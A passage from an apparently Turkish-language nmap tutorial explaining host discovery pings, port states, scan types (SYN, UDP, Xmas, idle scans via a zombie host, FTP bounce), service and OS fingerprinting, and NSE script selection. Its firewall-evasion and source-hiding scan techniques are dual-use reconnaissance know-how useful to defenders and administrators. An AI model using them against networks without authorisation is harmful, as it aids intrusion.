döndürür. Bu seçeneğin en önemli yararı yalnız TCP güvenlik kalkanı<br />

olan ağlarda güvenlik kalkanını delip geçmesidir.<br />

Örneğin eskiden Linksys BEFW11S4 kablosuz ADSL cihazı TCP<br />

kapılarını varsayan olarak bloklamaktayken UDP kapıları açık<br />

kalmaktaydı.


-PY (SCTP INIT)<br />

Bu seçenek en küçük INIT yığını olan SCTP paketi gönderir. Varsayılan<br />

kapı numarası 80'dir. -PS, -PA gibi -PY için de port listesi tanımlanabilir.<br />

INIT yığını karşı sisteme bir ilişki kurulacağını belirtir. Normal<br />

koşullarda karşı taraftaki kapı kapanır ve oradan ABORT yığını döner.<br />

Eğer kapı açık kalmışsa, hedef ikinci adıma geçer ve SCTP dört yönlü<br />

el sıkışma işlemini INIT-ACK yığınıyla başlatır. Nmap çalıştırılan makine<br />

işlevsel SCTP biriktirme özelliği (stack) varsa, COOKIE-ECHO yığını<br />

yerine, ilişkiyi kesmek için ABORT yığını gönderir Bu da zaten dörtlü el<br />

sıkışmadaki bir sonraki adımdır. Beklenmedik INIT-ACK yığınına karşılık<br />

olarak ABORT paketleri nmap programından değil, nmap çalıştırılan<br />

makinenin kernel kodundan iletilir Burada nmap INIT-ACK ya da ABORT<br />

yanıtına bakmaz. Onun için önemli olan sunucunun var olması ve yanıt<br />

veriyor olmasıdır.<br />

-PE; -PP; -PM (ICMP ping türleri)<br />

TCP, UDP ve SCTP sunucu bulma türlerine ek olarak nmap bilinen ping<br />

programına uygun ping paketleri de gönderebilir. Nmap ICMP tip 8<br />

(yankı isteği) paketlerini karşı sisteme gönderir ve tip 0 (yankı yanıtı)<br />

bekler. Ama birçok güvenlik kalkanı bu tür paketleri engellemektedir.<br />

Bu nedenle ICMP türü taramalar bilinmeyen IP'ler için pek de başarılı<br />

arama türü değildir. Ama yerel ağı denetleyen sistem yöneticileri kendi<br />

yerel ağlarında kullanıp doğru ve güvenilir sonuçlar alırlar.<br />

-PO (IP protokol ping)<br />

Yeni sunucu bulma tekniklerinde biri de IP protokolü ping komutudur.<br />

IP başlığına gereken protokol numarası eklenmiş olarak paket gönderir.<br />

Protokol listesi için kalıp TCP, UDP, SCTP için kullanılan kapı<br />

numaralarıyla aynıdır. Eğer protokol belirtilmezse birden çok ICMP<br />

paketi (protokol 1, 2, ve 4) ile gönderilir. ICMP, IGMP, TCP (protokol 6)<br />

için, UDP (protokol 17) için ve SCTP (protokol 132) için normal protokol<br />

başlıkları kullanılır ama diğerleri için IP başlığı dışında protokol<br />

başlıkları yoktur ( ama “–-data-length” belirtilirse başlıklar da olur).<br />

Bu seçenekte yanıt aynı protokolden olursa sunucu bu protokolü<br />

anlıyor kabul edilirken ICMP mesajı geldiğinde, belirtilen protokol<br />

sistemde tanımlı değildir diye yorumlanır.


-PR (ARP ping)<br />

EN çok kullanılan nmap senaryolarından biri ethernet yerel ağını<br />

taramaktır. Nmap ICMP yankı isteği gibi ham IP paketi göndermek<br />

isterken işletim sistemi karşı tarafın donanım adresini (ARP adresi)<br />

bilmek isteyebilir. Böylece ethernet mesaj yapısı düzgünce<br />

adreslenmiş olur. Bu biraz masraflı bir yöntemdir. Çünkü işletim<br />

sistemleri kısa sürede milyonlarca ARP isteğine yanıt verecek şekilde<br />

tasarlanmamıştır.<br />

--disable-arp-ping (no ARP or ND ping)<br />

nmap normalde ARP ve ipv6 için çevre taraması (ND) yapar. Ama bu<br />

kullanım biçimi proxy ARP ortamı için daha kullanışlıdır. Bu durumda<br />

istenen her IP için proxy sunucu olumlu yanıt verecek ve sistemin canlı<br />

olduğunu söyleyerek nmap sonuçlarını yanıltacaktır.<br />

--traceroute (sunucuya kadar yolu tara)<br />

Tarama sonrasında kullanılır. Kapı ve protokolü bilinen sunucuya<br />

ulaşmak için bu seçenek kullanılır. Tüm taramalarla kullanılabilir (-sT<br />

ve -sI hariç).<br />

Traceroute düşük TTL paketi göndererek başlar. Aralardaki zaman<br />

aşımı mesajı gönderen sunuculara kadar devam eder. Amaç hedef<br />

sunucuya kadar arada nelerin olduğunu saptamaktır. Yalnız bir yerel<br />

ağ taranıyorsa bu durumda nmap yalnız 2 paket gönderecektir.<br />

-n (hiçbir zaman DNS çözümü yapma)<br />

Bulanan IP adresinde DNS çözümüne gidilmemesi için kullanılır.<br />

Böylece işlemler daha da hızlanmış olur.<br />

-R (tüm hedefler için DNS çözümü istenecek)<br />

Tüm aranan sunucular için ters DNS çözümü istenirken kullanılır. Ama<br />

normal koşullarda aktif olan sunucular için kullanılması daha doğrudur.<br />

--system-dns (sistem DNS çözümleyicisini kullanın)<br />

nmap normalde sizin <strong>bilgisayar</strong>ınızın bağlı olduğu DNS sunucuya direkt<br />

mesaj göndererek DNS çözümü yapar ve yanıt bekler. Hızlı olması için<br />

düzineler düzeyinde paralel istek yapılır.


--dns-servers server1 server2 ... server3<br />

Yerel kapı tarama<br />

Varsayılan olarak nmap genelde sizin <strong>bilgisayar</strong>ın kullandığı DNS<br />

sunucuyu kullanır. Başka DNS sunucular kullanmak için bu seçeneği<br />

değerlendirebilirsiniz. Bazı özel ağları tararken bu komut gerekebilir.<br />

Her DNS sunucu rDNS desteği vermeyebilir.<br />

nmap başlangıçta kapı tarayıcı olarak çalıştırıldı. Zaman içinde gelişme<br />

gösterdi ama ana işlevi hep kapı tarama oldu. En basit nmap <br />

biçimindeki kullanımı sunucudaki 1000 kadar TCP kapısını tarar. Bu<br />

taramalarda nmap kapısı 6 konumda tanımlar: opened, closed, filtered,<br />

unfiltered, open|filtered, closed|filtered. Bu konumlar nmap tarafından bir<br />

kapının görünüş biçimidir<br />

Nmap tarafından bilinen altı kapı konumu şöyledir:<br />

open (açık)<br />

Bu konumda bir uygulama TCP, UDP ve SCTP paketlerini kabul<br />

edebilmektedir. Bu konumu bulmak kapı taramasının hedefidir.<br />

Güvenlikle uğraşanlar her açık kapının saldırı için önemli bir kapı<br />

olduğunu bilirler. Açık kapı aynı zamanda bu servisin ağ içinde<br />

kullanılabilir olduğunu da gösterir.<br />

closed (kapalı)<br />

Kapalı kapı erişilebilir demektir. Ama arkasında çalışan bir uygulama<br />

yoktur. Ayrıca sunucunun IP adresinde var olduğu anlaşılır.<br />

filtered (filitreli)<br />

Paket elemesi yüzünden nmap kapı hakkında bilgi edinemez. Eleme<br />

ayrı bir güvenlik kalkanı sunucusundan olabilir.<br />

unfiltered (filitresiz)<br />

Bunun anlamı kapıya erişim vardır. Ama kapı durumu nmap tarafından<br />

bilinememektedir.<br />

open|filtered (açık ve elemeli)<br />

nmap kapı açık mı elenmiş mi bilemeyince bu konuma alır.<br />

closed|filtered (kapalı ve elemeli)<br />

nmap kapı kapalı mı yoksa elemeli mi bilemediğinde bu konuma alır.


Port (kapı) tarama teknikleri<br />

İşi bilenler kapı taramasını doğru teknikle hemen yaparken, yeniler her şeyi<br />

SYN ile çözmeye kalkarlar. Nmap ücretsiz olduğundan kapı taramasındaki<br />

tek engel bilgidir.<br />

Pek çok tarama teknikleri yalnız yetkili kullanıcıya açıktır. Çünkü bu teknikler<br />

ham veri gönderip alırlar ve UNIX altında yalnız “root” yapabilir. Windows<br />

işletim sisteminde de “administer” işi yapmalıdır. WinPcap yüklenmişse<br />

sıradan kullanıcı da nmap çalıştırabilir. Eskiden “root” yetkisi sorundu ama<br />

şimdi <strong>bilgisayar</strong> sistemleri ucuzladı ve herkesin kendi diz üstü <strong>bilgisayar</strong>dan<br />

işlem yapması kolaylaştı.<br />

Nmap başarısı hedef sunuculardan ya da önlerindeki güvenlik kalkanından<br />

gelen paketlerle ölçülür. Nmap açısından bir <strong>bilgisayar</strong>ın güvenilir olmaması<br />

alınan yanıtların tutarsızlığıyla doğru orantılıdır.<br />

Aşağıda nmap tarafından desteklenen kapı tarama teknikleri anlatılmıştır.<br />

-sS (TCP SYN tarama)<br />

Bir çok iyi nedenden ötürü SYN seçeneği en çok kullanılan ve<br />

varsayılan taramadır. Hızlı bir ağ altında güvenlik kalkanıyla<br />

elenmemiş binlerce kapı bir kaç saniyede taranabilir. TCP bağlantısını<br />

hiç bir zaman tamamlamaz.<br />

Bu teknik her zaman yarı açık taramadır. Çünkü burada tam TCP<br />

bağlantısı açmazsınız. SYN paketi gönderip SYN/ACK beklersiniz, yanıt<br />

gelirse kapı dinlemededir. RST ise dinleme olmadığını belirtir.. Birkaç<br />

deneme sonunda yanıt gelmezse, kapı elenmiş kabul edilir. Kapı ICMP<br />

erişilemiyor hatası alırsa da elenmiş kabul edilir (tip 3, kod 1, 2, 3, 9,<br />

10 ya da 13). Eğer SYN için ACK yanıtı gelirse kapı açık kabul edilir<br />

(bakınız http://nmap.org/misc/split-handshake.pdf)<br />

-sT /TCP connect tarama)<br />

SYN bir seçenek olmadığı zaman bu varsayılan tarama biçimi olur. Yani<br />

kullanıcı “root” yetkisine sahip değilse denmek istenmiştir. Nmap<br />

işletim sistemine hedef sunucuyla bağlantıyı “connect” komutuyla<br />

kurulmasını isteyerek işlemi başlatır. Sistem bağlantıyı yarım-bağlantı<br />

yerine tamamlayarak bitirir. Eğer SYN varsa tabi ki tarama için daha iyi<br />

bir çözümdür.


-sU (UDP tarama)<br />

Bir çok servis TCP protokolüyle çalışırken, UDP servisleri yaygın<br />

kullanım alanına sahiptir. DNS, SNMP ve DHCP (53, 161/162 ve 67/68<br />

kapıları) sık kullanılanlardan ilk üçüdür.<br />

UDP taraması TCP'ye göre daha yavaş olduğundan bazı tarayıcılar UDP<br />

taramasını tümüyle atlarlar. Bu seçenek TCP SYN taramasıyla<br />

birleştirilerek kullanılabilir. UDP taramasında açık ve elemeli kapılar hiç<br />

yanıt vermezler ve nmap zaman aşımına düşer. Kapalı kapılar daha<br />

büyük problemdir. Çoğu zaman ICMP hatası verir. Nmap ağ akışında<br />

yığılma olmasın diye işlemi yavaşlatır. Yavaş sunucular için “-–hosttimeout”<br />

parametresi kullanılabilir.<br />

-sY (SCTP INIT tarama)<br />

TCP ve UDP protokollerine göre daha yeni bir protokoldür. Aynı<br />

zamanda çoklu tarama ve çoklu ana sistem seçenekleri de eklenmiştir.<br />

Daha çok SS7/SIGTRAN türü servisler için kullanılır. SCTP INIT taraması<br />

TCP SYN eşdeğeridir. Bu protokol ile açık, kapalı ve elenmiş kapı<br />

konumları daha kolay ayrılabilir. Bu tekniğe yarı açık ilişki kurma denir<br />

çünkü tam bir ilişki kurulmaz. INIT gönderilir ve ACK beklenir. Gelirse<br />

kapı açıktır, yerine ABORT gelirse kapı dinlemede değildir. Bir kaç<br />

deneme sonunda hiç mesaj gelmezse kapı elenmiştir.<br />

-sN; -sF; -sX (TCP NULL, FIN ve Xmas tarama)<br />

Bu üç tarama türleri ve daha başkaları (--scan-flag kullanılarak) açıkla<br />

kapalı konum arasında TCP döngü açığı bulmaya çalışır.<br />

-sN (NULL tarama)<br />

TCP başlığında veri yoktur<br />

-sF (FIN tarama)<br />

yalnız TCP FIN bit değeri 1 yapılır.<br />

-sX (Xmas tarama)<br />

FIN, PSH ve URG bitlerini yakarak Noel ağacı gibi renkli bir paket<br />

oluşturur.<br />

Bu üç tür TCP paketlerindeki bit değerleri dışında birbirleriyle aynı<br />

özelliktedir. Eğer RST paketi alınırsa kapı kapalıdır. ICMP erişilemez<br />

hatası alınırsa kapı elenmiştir. Hiç yanıt alınmazsa open|filtered<br />

konumundadır.


-sA (TCP ACK tarama)<br />

Burada amaç açık ya da açık|elenmiş kapılar değildir. Amaç güvenlik<br />

kalkanının özelliklerini anlamaktır. Burada paketin yalnız ACK biti<br />

vardır. Açık ve kapalı kapılar RST döndürür. Bunlar elenmemiş olarak<br />

kaydedilir. ICMP mesajı döndürenlerse elenmiş kapılardır.<br />

-sW (TCP Window tarama)<br />

Sistemlerdeki uygulamaların farklarına göre ACK taramasıyla aynı<br />

olmasına rağmen açık ve kapalı kapılar arasında ayrım<br />

yapabilmektedir. Açık sistemlerde RST mesajlarında bile bazı sistemler<br />

olumlu pencere boyu döndürürler (pencere/window için TCP<br />

protokolüne bakın). Bu uygulamayı denetlemeyen sistemlerde tüm<br />

kapılar kapalı gözükür. Bazı küçük kullanıcı ortamı olan ve yaygın<br />

olmayan sistemlerde uygulama bağımlı çözüm üretilmemiş<br />

olduğundan güvenilir sonuçlar alınamayabilir.<br />

-sM (TCP Maimon tarama)<br />

Bu tarama biçimini bulan kişinin soyadını taşır. FIN/NULL/Xmas<br />

tekniğiyle aynıdır tek fark pakette FIN/ACK birlikte yakılmıştır. Eğer<br />

kapı açık/kapalı ise RST üretilir ama pek çok eminde kapı açıksa<br />

pakete yanıt verilmez.<br />

--scan-flag (kullanıcıya özel tarama)<br />

Bu seçenekle ileri düzeydeki nmap kullanıcıları kendi tarama<br />

yöntemlerini paketlerdeki bitlerden hangilerini yakacaklarını<br />

belirleyerek saptayabilirler. URG, ACK, PSH, RST, SYN, ve FIN bitlerini<br />

karıştırarak seçenek içinde kullanmak mümkündür. Tanımlar yerine<br />

biliyorsanız sayısal değerleri de kullanabilirsiniz.<br />

Bunlara ek olarak TCP tarama türlerinden -sA ya da -sF de<br />

kullanabilirsiniz.<br />

-sZ (SCTP COOKIE-ECHO tarama)<br />

Bu tarama yöntemi daha gelişmiş olanıdır. Açık kapıarda SCTP<br />

uygulaması sessizce COOKIE yığını olan paketleri siler. Bu özelliği<br />

kullanan tarama yöntemi güvenlik kalkanlarında COOKIE ECHO<br />

engellemesi olmasa bile INIT engellemesi olabileceği durumlara göre<br />

daha avantajlıdır.


-sI [:] (idle tarama)<br />

Bu gelişmiş tarama yöntemi gerçek anlamda hedef sunucu için kör<br />

kapı taraması yapar. Sizin <strong>bilgisayar</strong>ınızın IP'sinden hedefe gerçek<br />

paket gönderme yapılmaz. Buna karşın bir zombi sunucudan yan kanal<br />

atağıyla hedef sunucunun açık potları hakkında bilgi sorgulaması<br />

yapılır. IDS sistemleri isteğin belirttiğiniz zombi sistemden geldiğini<br />

gösterir. Ayrıntılı bilgi için http://nmap.org/book/idlescan.html adresine<br />

bakınız.<br />

-sO (IP protokol scan)<br />

IP protokol taraması hedef sunucunun hangi IP protokollerini (TCP,<br />

ICMP, IGMP vb.) desteklediğini göstermekte kullanılır. Bu gerçek<br />

anlamda bir kapı tarama değildir. Daha çok IP protokol sayıları<br />

arasında değişim olduğundan kapı taraması sayılmaz. Ama hala -p ile<br />

protokol sayılarının seçenek olarak kullanılmasını sağlar.<br />

-b (ftp dönüş taraması)<br />

FTP protokolünün en ilginç yönü proxy FTP bağlantısını<br />

desteklemesidir. Kullanıcı bir FTP sunucuya bağlanır ve o sunucuya<br />

üçüncü bir sunucuya transfer yapması için mesaj gönderir. Bunun en<br />

tuhaf işlerinden biri hedef FTP sunucuya bir başka sunucunun kapı<br />

taraması yapmasını sağlattırmaktır. Ya da FTP sunucunun hedef<br />

sunucunun tanımlanan kapılarına dosya göndermesini sağlamaktır.<br />

Nmap bu işlemi -b seçeneği ile yaparken FTP sunucu tanımı için<br />

:@: kullanılması<br />

gerekir. 1998'de çok kullanılan bir özellikti ama artık bu sorun ftp<br />

sunucuların çoğunda çözülmüş görünmektedir.<br />

Kapı tanımları ve tarama sırası<br />

-p < kapı sınırları><br />

-F (Hızlı (sınırlı sayıda kapı) tarama)<br />

-r (kapıları rastgele üretme)<br />

--port-ratio <br />

--top-ports


Servis ve sürüm belirleme<br />

nmap uzaktaki bir sunucuya yönlendirildiğinde size 25/tcp, 80/tcp ve 53/udp<br />

kapılarının açık olduğunu söyleyecektir. 2200 adet iyi bilinen servis veri<br />

tabanına göre bunların SMTP, HTTP ve DNS servislere ait olduğunu<br />

söyleyecektir. Bu servisler genelde belirtilen kapılarda bulunur ama güvenlik<br />

açısından bazı yöneticilerin kapıları değiştirdikleri görülmüştür.<br />

Nmap doğru da söylemiş olsa uyarıdaki bilgi yeterli değildir. Hangi<br />

programların ve hangi sürümlerin olduğunu bilmek istersiniz. TCP ve UDP<br />

kapılar belirlendikten sonra, gerçekte bu kapıların arkasında neyin<br />

koştuğunu bilmek istersiniz. “map-service-probes” veri tabanı hangi<br />

mesajları göndereceğini ve nasıl yanıt alacağını bilir.<br />

Nmap servis protokolünü bulmaya çalışırken (FTP, SSH, Telnet, HTTP gibi),<br />

uygulamanın adını (ISC BIND, Apache httpd, Solaris telnetd gibi) ve sürüm<br />

numarası, sunucu adı, cihaz tipi (printer, router gibi) işletim sistemi ailesi<br />

(windows, linux gibi) bilgilerini de toplar.<br />

Eğer uygun olursa bu bilginin genel yazı biçiminde tanımlanışını da hazırlar.<br />

Bazen X sunucu bağlantılara açık mı, SSH protokol sürümü ya da KaZaA<br />

kullanıcı adı var mı gibi sıra dışı bilgilere de ulaşılabilir. Tabi ki bir çok servis<br />

bu bilgileri vermez. Eğer nmap OpenSSL desteğiyle derlenmişse, şifreleme<br />

katmanının arkasından servis dinlemek için SSL sunucuya bağlanır. UDP kapı<br />

tarama açıldıktan sonra bazı UDP kapılar açık| elenmiş komunda kalır. Sürüm<br />

belirleme işlemi bu kapılardan bilgi almaya çalışır. Açabilirse bu kapının<br />

durumunu değiştirir (açık kapılarda yaptığı gibi). Eğer başarılı olunursa açık|<br />

elenmiş kapılar için de aynı biçimde değerlendirilir. Bilinmesi gereken önemli<br />

nokta nmap -A seçeneği sürüm belirlemeyi diğer şeylerin yanında yapabilir.<br />

Eğer nmap aldığı yanıtı veri tabanındakilere benzetemezse, kapıya ne<br />

gönderileceğini anlamanız için sonucu yazdırır.<br />

Nmap 6500 deseni 650'den fazla SMTP, FTP, HTTP gibi protokoller için<br />

tanımlamıştır.<br />

Sürüm belirleme aşağıdaki seçeneklerle yapılır:


-sV<br />

Yukarıda belirtildiği gibi sürüm numarasını belirlemekte kullanılır.<br />

--all-ports<br />

Sürüm belirlemede hiç bir kapısı atlama<br />

--version-intensity <br />

-sV sürüm taraması yapıldığında nmap bir dizi mesaj gönderir, 1 ile 9<br />

arasında az bulunma sayısı atanır. Düşük sayılar daha çok kullanılan<br />

servisleri tanımlar. Yoğunluk (intensity) düzeyi hangi mesajların<br />

kullanılması gerektiğini belirtir. Ama yüksek yoğunluk düzeyi<br />

olduğunda işlem daha uzun sürer. Varsayılan değer 7 olarak<br />

belirlenmiştir. Yoğunluk düzeyi 0 ile 9 arasında olabilir.<br />

--version-light<br />

Bu aslında –version-intensity 2 ile aynı anlama gelir. Daha hızlı işlem<br />

yapar ama daha az doğru sonuç çıkarır.<br />

--version-all<br />

eşdeğeri –version-intensity 9 olur ve her kapı için tüm mesajlar<br />

denenir.<br />

--version-trace<br />

Sürüm belirleme hakkında “nmap ne iş yapmaktadır?” bu seçenekle<br />

tanımlanır. Bayağı geniş bir açıklama kullanıcıya işlem hakkında<br />

ayrıntılı bilgi verebilmektedir.<br />

İşletim Sistemi belirleme<br />

nmap tarafından en iyi yapılabilen şey karşı sunucunun işletim sistemini<br />

belirlemektir. Nmap karşı sunucuya bir dizi TCP ve UDP paketleri gönderir ve<br />

yanıttaki tüm bitleri inceler. Daha sonra yapılan bir dizi test sonucu (TCP ISN<br />

örneklemesi gibi) nmap-os-db veri tabanındaki işletim sistemi parmak<br />

izlerinden (2600 işletim sistemi parmak izi vardır) hangi işletim sistemi<br />

olduğu bulunur. Her parmak izi işletim sisteminin açık yazılı biçimini, üretici<br />

firmasını (Sun gibi) işletim sistemi sürümünü (10 gibi) ve cihaz tipini (genel<br />

amaçlı, router, switch, oyun konsolu gibi). Bir çok parmak izinde<br />

cpe:/o:linux:linux_kernel:2.6 gibi ortak platform adlandırması (CPE) bulunur.


Eğer nmap işletim sistemini tahmin edemezse ve koşular iyiyse (en az bir<br />

açık kapı ve bir kapalı kapı) nmap size parmak izini gönderebileceğiniz bir<br />

URL gösterir. Buna göre siz sunucudaki işletim sistemini anlarsanız, nmap<br />

veri tabanına nasıl ekleneceğini bildirir, bundan sonra başkalarına da bu<br />

cihazı tanımakta yardım olmuş olursunuz.<br />

İşletim Sistemi belirleme bu adımda yapılan diğer işlemlerle elde edilen<br />

bilgileri de paylaşır. Bunlardan biri TCP Sequence Predictability Classification<br />

(TCP Tahmin edebilme Sınıfı sıralaması) olarak bilinir. Bu bilgi karşı sisteme<br />

bağlanabilmenin ne kadar zorlukta olduğunu bildirir. Bu işlem sırasında<br />

kaynak IP belirtilebilir, rlogin, güvenlik kalkanı gibi elemeler incelenebilir.<br />

Ama bazı koşullarda kaynak IP'nin gizlenmesi de gerekebilir. Bu tür kaynak<br />

gizleme artık pek yapılmamaktadır. Gerçek zorluk derecesi istatistik<br />

örneklemelere dayanır ve değişebilir. Ama İngilizce sınıflamayı kullanmak<br />

daha iyidir (“worthy challenge” ya da “trivial joke” gibi). Bu normal çıktı<br />

konumunda (-v) ile olur. Eğer açıklamalı konum -O ile beraber açılırsa, IP<br />

tanıtım üretimi de yazdırılır. Bir çok makine “incremental” (basamak) sınıfı<br />

konumdadır. Bunun anlamı IP paketindeki ID bilgi alanını her mesaj<br />

gönderdiklerinde arttırırlar.<br />

Aşağıdaki seçeneklerle işletim sistemi açılır ve kontrol edilir.<br />

-O (işletim sistemi belirlemeyi başlat)<br />

İşletim Sistemi belirlemeyi başlatır. Ek olarak -A seçeneği ile diğerleri<br />

de belirlenebilir.<br />

--osscan-limit (işletim sistemini hedef sunucularla sınırla)<br />

Bir kapalı ve bir açık kapı bulunduğunda işletim sistemi belirleme daha<br />

etkin olabilir. Bu seçenek kullanıldığında nmap yeterli açık ve kapalı<br />

kapı yoksa işletim sistemi belirlemeye kalkışmaz bile.<br />

--osscan-guess; fuzzy (İşletim sistemi bilgileriyle tahmin yap)<br />

nmap tam olarak işletim sistemini saptayamasa bile en yakın<br />

olasılıkları sunabilir.<br />

--max-os-tries (Bir hedef için en çok işletim sistemi tahminini sınırla)<br />

nmap işletim sistemi taraması yapar ama doğru sonuç elde edemezse<br />

başka denemeler yapmaya başlar. Bu seçenekle kaç tane deneme<br />

yapılabileceği belirtilmiş olur.


Nmap komut makinesi (NSE)<br />

nmap komut makinesi (NSE) nmap'in en güçlü ve en esnek özelliklerinden<br />

biridir. Kullanıcıların küçük komut dizileri yazıp paylaşmalarına olanak verir<br />

(Bu iş için Lua programlama dili http://lua.org/ kullanılır). Bu komut dizileriyle<br />

geniş amaçlı ağ işlemleri otomatik olarak yapılabilir. Bu komutlar nmap<br />

programından beklenen hız ve verimlilikle paralel olarak çalıştırılır.<br />

Kullanıcılar nmap ile dağıtılan komutları müşteri isteklerine göre<br />

değiştirebilir ya da kullanabilir.<br />

İşe başlarken aklımızdaki işler ağı tanımlamak, daha geniş sürüm tanımı<br />

yapmak, kırılganlığı belirlemek olmuştur. NSE kırılganlığın araştırılmasında<br />

da kullanılabilir.<br />

Bu tür değişik kullanım biçimlerini yansıtmak için hangi komutların<br />

çalıştırılacağı seçilmelidir. Bu komutlar çalışma alanına göre sınıflara<br />

ayrılmıştır. Şu anda bilinen sınıflar: auth (yetki), broadcast (yayım), default<br />

(varsayılan), discovery (araştırma/bulma), dos, exploit (faydalanma),<br />

external (dış), fuzzer (sahte, saçma veri), intrusive (sızan), malware (kötü<br />

amaçlı), safe (güvenli), version (sürüm) ve vuln (kırılım) dır. Ayrıntılar<br />

http://nmap.org/book/nse-usage.html#nse-categories adresinde vardır.<br />

Toplu olarak çalıştırılan komutlar, istenmeden sisteminize zarar da verebilir.<br />

Ya da özelinizi kurcalayabilir. Üçüncü partilerin komutlarını inceleyip güvenli<br />

olmadan sakın kullanmayın.<br />

Nmap altında bulunan seçenekler şunlardır:<br />

-sC<br />

Var olan komut kümesiyle komut taraması yapar. Aslında –<br />

script=default ile aynı anlama gelir. Bu sınıftaki bazı komutlar araya<br />

giren (sızan) türdendir ve ağ sorumlusundan izin alınmadan<br />

kullanılmamalıdır.<br />

--scriot |||[,...]<br />

Komut taramasını virgülle ayrılmış dosyaları, sınıfları ve dosya yollarını<br />

kullanarak yapar. Bu listelerdeki her öge daha karmaşık komut<br />

kümesini gösteren mantıksal bir deyim olabilir. Her öge bir deyim,<br />

daha sonra sınıf , dosya ve son olarak dosya yolu olarak yorumlanır.


Gelişmiş kullanıcılar için özellikler vardır. Biri deyimlerin ve komut<br />

adlarının önüne + koyarak ön ek tanımlamaktır. Böylece çalışmaması<br />

gerekse bile bu komutlar çalıştırılmış olunur. Diğeri ise her komutta<br />

nmap veri tabanındaki tüm parametrelerin belirtilmesidir. Bu konuda<br />

çok dikkatli olmak gerek. Çünkü nmap bazı koşullarda sızıntılar, zorla<br />

yetki kırma gibi çok tehlikeli komutları içerir.<br />

Dosya adı ve dosya yolu göreceli ya da mutlak olabilir. Mutlak adlar<br />

doğrudan kullanılabilir. Göreceli adlarda dosya yolu için aşağıdaki<br />

alanlarda komut olup olmadığına bakılır:<br />

--datadir<br />

$NMAPDIR<br />

~/.nmap (windows ortamında buna gerek olmaz)<br />

\AppData\Roaming\nmap (yalnız Windows için)<br />

nmap'in bulunduğu dosya yolu<br />

nmap'ın bulunduğu dosya yolunda ../share/nmap altında<br />

NMAPDATADIR<br />

O anda kullanılan dosya yolu<br />

Bir dosya yolu verildiğinde nmap buradaki sonu .nse ile biten tüm<br />

dosyaları yükler. Diğer dosyalar dikkate alınmaz. Dosya yolları<br />

özyinemeli (recursive) taranmaz. Eğer parametrede dosya adı<br />

verilmişse sonunun .nse olması gerekmez, dosya yüklenir.<br />

Nmap komutları, nmap'in programcıkları (scripts) alt dosya yolunda<br />

bulunur. Hozlı olması için komutların bir veri tabanında<br />

(scripts/script.db) dizini tutulur. Burada komutun hangi sınıf ya da<br />

sınıflarda bulunduğu saklanır.<br />

Script.db altındaki komutlara erişimde “*” türü yazım geçerlidir.<br />

nmap –script “http-*”<br />

Burada http- ile başlayan tüm komutlar yüklenir. (örnek:<br />

http-auth ve http-open-proxy gibi). Bu seçenekte<br />

parametre değeri tırnak içinde olmalıdır (kabuk<br />

programının etkisini kaldırmak için)


Daha karmaşık komut seçimi “and”, “or” ve “not”<br />

kullanılarak yapılabilir. Lua'da işlemlerin önceliği aynıdır.<br />

“not” her zaman en yüksek önceliklidir. Parantezler<br />

kullanarak öncelikleri değiştirebilirsiniz. Bir çok deyimde<br />

boşluklar olduğundan bunları her zaman tırnak içine almak<br />

gerekir.<br />

Nmap –script “not intrusive”<br />

Sızıntılar sınıfı dışındaki her komutu yükler<br />

namp –script “default or safe”<br />

Bu aslında nmap –script “default,safe” ile aynı anlama<br />

gelir. Varsayılan ya da güvenli sınıfındaki tüm komutları<br />

yükler.<br />

Nmap –script “default and safe”<br />

Hem varsayılan hem de güvenli sınıflarında bulunanları<br />

yükler.<br />

Nmap –script “(default or safe or intrusive) and not http-*”<br />

Varsayılan, güvenli ve sızıntı sınıflarında bulunan ama httpile<br />

başlamayan komutları yükler.<br />

--script-args =,={=v3>},={,}<br />

NSE komutlarına parametre değerleri atanmasını sağlar. Parametre<br />

değerleri ad=değer ikilisinin virgüllerle ayrılmış olanıdır. Adlar ya da<br />

değerler içinde boşluk, '{', '}', '=', ',' olmayan karakter dizileridir.<br />

Bunlardan birini içermesi için karakter dizisini çift ya da tek tırnak içine<br />

alın. Tırnakları kullanabilmek için önüne ' \' yazın. Değerler bazen '{'<br />

ve '}' içine yazılan tablo ögeleri olabilir. Lua dilinde bir tablo karakter<br />

dizisi ya da ad ve değer ikilisi ögelerden ya da başka tablolardan<br />

oluşabilir. Bir çok komutta parametreler komut adıyla kullanılır.<br />

Örneğin xmpp-info.server_name gibi. Bu tür tanımı yalnız bir komutta<br />

kullanmak için kullanabilirsiniz ya da “server_name” gibi belirleyici<br />

olmayan halini bunu kullanan tüm komutlar için kullanabilirsiniz. Bir<br />

komut önce kendine ait tanımlı parametrelere bakar, daha sonra genel<br />

ve belirleyici olmayan parametre değerlerini inceler Karmaşık bir<br />

komut parametre listesi örneği


--script-args 'user=foo,pass=",<br />

{}=bar",whois={whodb=nofollow+ripe},xmppinfo.server_name=localhost'<br />

biçiminde olabilir. http://nmap.org/nsedoc/ adresinde komutların kabul<br />

edebileceği parametreler vardır.<br />

--script-args-file <br />

Burada parametreler bir dosyadan alınır.<br />

--script-help ||||all[,...]<br />

Komut hakkındaki yardımı göstermek için kullanılır.<br />

--script-trace<br />

Bu seçenek –packet-trace ne iş yapıyorsa onu yapar.<br />

--script-updatedb<br />

nmap tarafından kullanılan scripts/script.db veri tabanını<br />

güncellemede kullanılır.<br />

Zamanlama ve verim<br />

Nmap değiştirilirken en önemli öncelik verim olmuştur. Buna göre nmap<br />

sunucu_adı biçimindeki bir taramada yerel ağdaki sunucuyu taramak bir<br />

saniyenin 50'de biri kadar olur. Bu da göz kırpmak kadar kısa bir süredir.<br />

Ama bu süre yüzlerce sunucu taramaya kalktığınızda artar. Hatta UDP<br />

taraması ve sürüm belirleme ve bazı güvenlik kalkanı tanımları bu süre<br />

oldukça fazlalaştırır. Ama nmap bir çok gelişmiş algoritma ve paralelleştirme<br />

seçenekleriyle taramaları hızlandırır.<br />

Bazı seçenekler zaman parametresi içerir. Genelde süre saniye cinsindendir<br />

ama sonuna 'ms', 's', 'm' ya da 'h' gibi değerler ekleyerek zaman<br />

parametresini değiştirmek mümkündür. Buna göre “-–host-timeout”<br />

parametresinde 900000ms, 900, 900s, ve 15m hepsi aynı şeydir.


--min-hostgroup ;<br />

--max-hostgroup (Paralel tarama grubu büyüklüğü)<br />

Nmap bir çok <strong>bilgisayar</strong> için kapı ya da sürüm taraması yapabilir.<br />

Nmap bunu hedef IP adresleri sınıflara bölüp yapar. Her seferinde bir<br />

grubu tarar. Genelde kalabalık gruplar daha verimli olur. Bir sakıncası,<br />

tüm grup bitmeden sonuçların görünmüyor olmasıdır. Eğer nmap grup<br />

büyüklüğü 50 olarak başlamışsa, 50 sunucu taranmadan sonuç<br />

